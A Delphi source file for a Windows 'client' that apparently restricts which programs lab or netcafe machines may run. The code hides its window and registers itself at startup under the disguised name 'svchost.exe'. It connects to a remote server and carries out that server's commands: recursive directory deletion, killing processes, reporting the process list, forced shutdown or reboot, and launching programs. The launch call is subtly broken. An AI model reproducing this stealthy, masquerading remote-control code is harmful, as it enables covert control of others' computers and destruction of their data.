pas_client.pas

限制客户机运行程序 (有关机等功能)

unit pas_Client;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus,shellapi, ExtCtrls, ScktComp,Registry,StdCtrls,
  ComCtrls,Tlhelp32,Psock;

type
  TF_Client = class(TForm)
    C_Timer1: TTimer;
    C_Socket: TClientSocket;
    C_Timer2: TTimer;
    ListBox1: TListBox;
    C_Timer4: TTimer;
    ListBox2: TListBox;

    procedure C_Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure C_Timer2Timer(Sender: TObject);
    procedure C_SocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure C_SocketConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure C_SocketDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure C_SocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormPaint(Sender: TObject);
    procedure C_Timer4Timer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);


  private
    { Private declarations }
  status:boolean;
  public
    { Public declarations }
  end;

var
  F_Client: TF_Client;
  Proc   :TPROCESSENTRY32 ;
  Snap   :THandle;
  restrict:Boolean;
  jc:boolean;
implementation
{$R *.dfm}

procedure operatecomputer(statue:longword);
var
hToken:THandle;
tkp : TOKEN_PRIVILEGES;
ReturnLength : DWord;
begin
if (not OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_ALL_ACCESS or TOKEN_QUERY, hToken))then
begin
application.Terminate;
end;
LookupPrivilegeValue(nil,'SeShutdownPrivilege',tkp.Privileges[0].Luid);
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Attributes :=SE_PRIVILEGE_ENABLED;
ReturnLength :=0;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,nil,ReturnLength);
if (GetLastError() <> ERROR_SUCCESS) then
begin
application.Terminate;
end;
if (not ExitWindowsEx(statue, 0)) then
begin
application.Terminate;
end;
end;

function KillTask(ExeFileName: string): integer;
const
  PROCESS_TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
begin
  result := 0;
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
      UpperCase(ExeFileName))
      or (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then
      Result := Integer(TerminateProcess(OpenProcess(
        PROCESS_TERMINATE, BOOL(0),
        FProcessEntry32.th32ProcessID), 0));
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
end;

function DeletePath(mDirName: string): Boolean; { 返回删除指定目录是否成功 }
var
  vSearchRec: TSearchRec;
  vPathName: string;
  K: Integer;
begin
  Result := True;
  vPathName := mDirName + '\*.*';
  K := FindFirst(vPathName, faAnyFile, vSearchRec);
  while K = 0 do begin
    if (vSearchRec.Attr and faDirectory > 0) and
      (Pos(vSearchRec.Name, '..') = 0) then begin
      FileSetAttr(mDirName + '\' + vSearchRec.Name, faDirectory);
      Result := DeletePath(mDirName + '\' + vSearchRec.Name);
    end else if Pos(vSearchRec.Name, '..') = 0 then begin
      FileSetAttr(mDirName + '\' + vSearchRec.Name, 0);
      Result := DeleteFile(PChar(mDirName + '\' + vSearchRec.Name));
    end;
    if not Result then Break;
    K := FindNext(vSearchRec);
  end;
  FindClose(vSearchRec);
  Result := RemoveDir(mDirName);
end; { DeletePath }


procedure TF_Client.C_Timer1Timer(Sender: TObject);
  begin
  status:=true;
  C_timer1.enabled:=false;
  C_timer2.Enabled :=true;
  F_Client.Hide;
Application.ProcessMessages;
end;

procedure TF_Client.FormCreate(Sender: TObject);
var
  tempreg:TRegistry;
  exeroute:string;
begin
     restrict:=true;
     exeroute:=extractfiledir(application.ExeName );
     tempreg:=TRegistry.Create;
     tempreg.RootKey:=HKEY_LOCAL_MACHINE;
     tempreg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
     tempreg.WriteString('CRMS_Client','"'+exeroute+'\svchost.exe"');
     tempreg.Closekey;
     tempreg.Free;
     Application.ProcessMessages;
end;

function GetPCName():string;
var
  CNameBuffer : PChar;
  fl_loaded : Boolean;
  CLen : ^DWord;
  computerName:string;
begin
     GetMem(CNameBuffer,255);
    New(CLen);
    CLen^:= 255;
    fl_loaded := GetComputerName(CNameBuffer,CLen^);
    if fl_loaded then
     ComputerName:= StrPas(CNameBuffer)
    else
      ComputerName := 'Unkown';
    Result:=ComputerName;
    FreeMem(CNameBuffer,255);
    Dispose(CLen);
end;

procedure TF_Client.C_Timer2Timer(Sender: TObject);
begin
      if not C_Socket.Active then
      begin
      try
        C_Socket.Active:=true;
      except
      C_timer1.Enabled :=true;
      end;
      end;
Application.ProcessMessages;
end;

procedure TF_Client.C_SocketError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  errorcode:=0;
  C_TImer2.enabled:=true;
  Application.ProcessMessages;
end;

procedure TF_Client.C_SocketConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  C_timer2.Enabled :=false;
  C_Socket.Socket.SendText('$Name$'+GetPCName);
  Application.ProcessMessages;
end;

procedure TF_Client.C_SocketDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  C_timer2.Enabled :=true;
  Application.ProcessMessages;
end;

procedure TF_Client.C_SocketRead(Sender: TObject;
  Socket: TCustomWinSocket);
  var
    Data:string;
begin
Data:=Socket.ReceiveText;
Application.ProcessMessages;
if pos('$Z$DEL',Data)=1 then
    begin
    delete(Data,1,6);
  DeletePath(Data) ;
  end;
if pos('$Z$KILL',Data)=1 then
    begin
    delete(Data,1,7);
  KillTask(Data) ;
  end;
if pos('$Z$GetKILL',Data)=1 then
    begin
    delete(Data,1,10);
    ListBox1.Clear;
    ListBox1.Items.Text:=Data;
  end;

  if pos('$Z$Userlis',Data)=1 then
    begin
    delete(Data,1,10);
ListBox2.Items.Clear;
   Snap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS,0);
   Proc.dwSize := SizeOf(TProcessEntry32);
   Process32First(Snap,Proc);
   repeat
   ListBox2.Items.Add(proc.szExeFile);
   until (not Process32Next(Snap,Proc));
   try
   C_Socket.Socket.SendText('$C$Userlist'+ListBox2.Items.Text);
Application.ProcessMessages;
except
end;
  end;
 if pos('$C$restrict',Data)=1 then
    begin
    restrict:=False;
    end;
 if pos('$K$restrict',Data)=1 then
    begin
    restrict:=True;
    end;
  if pos('$K$xtkz',Data)=1 then
    begin
   delete(Data,1,7);
case strtoint(Data) of
0:   begin
     if win32platform =ver_platform_win32_windows then
     exitwindowsex(ewx_force+ewx_shutdown+ewx_poweroff,32);
     if win32platform =ver_platform_win32_NT then
     operatecomputer(ewx_logoff);   //ewx_logoff 为注销
     end;
1: begin
     if win32platform =ver_platform_win32_windows then
     exitwindowsex(ewx_force+ewx_shutdown+ewx_poweroff,32);
     if win32platform =ver_platform_win32_NT then
     operatecomputer(ewx_poweroff);   //ewx_logoff 为关机
     end;
2:   begin
     if win32platform =ver_platform_win32_windows then
     exitwindowsex(ewx_force+ewx_shutdown+ewx_poweroff,32);
     if win32platform =ver_platform_win32_NT then
     operatecomputer(ewx_reboot);   //ewx_reboot 为重启
     end;
     end;
     application.terminate;
end;

 if pos('$Z$Run',Data)=1 then
 begin
 delete(Data,1,6);
 Application.ProcessMessages;
 WinExec('Data',SW_Show);
 end;
Application.ProcessMessages;
end;

procedure TF_Client.FormPaint(Sender: TObject);
begin
F_Client.Hide;
Application.ProcessMessages;
end;

procedure TF_Client.C_Timer4Timer(Sender: TObject);
var
i:Integer;
begin
    for i:=0 to ListBox1.Items.Count-1 do
    begin
if restrict=true then KillTask(ListBox1.Items.Strings[i]);
Application.ProcessMessages;
  end;
end;

procedure TF_Client.FormClose(Sender: TObject; var Action: TCloseAction);
begin
C_Socket.Close;
C_Socket.Free;
application.terminate;
end;

end.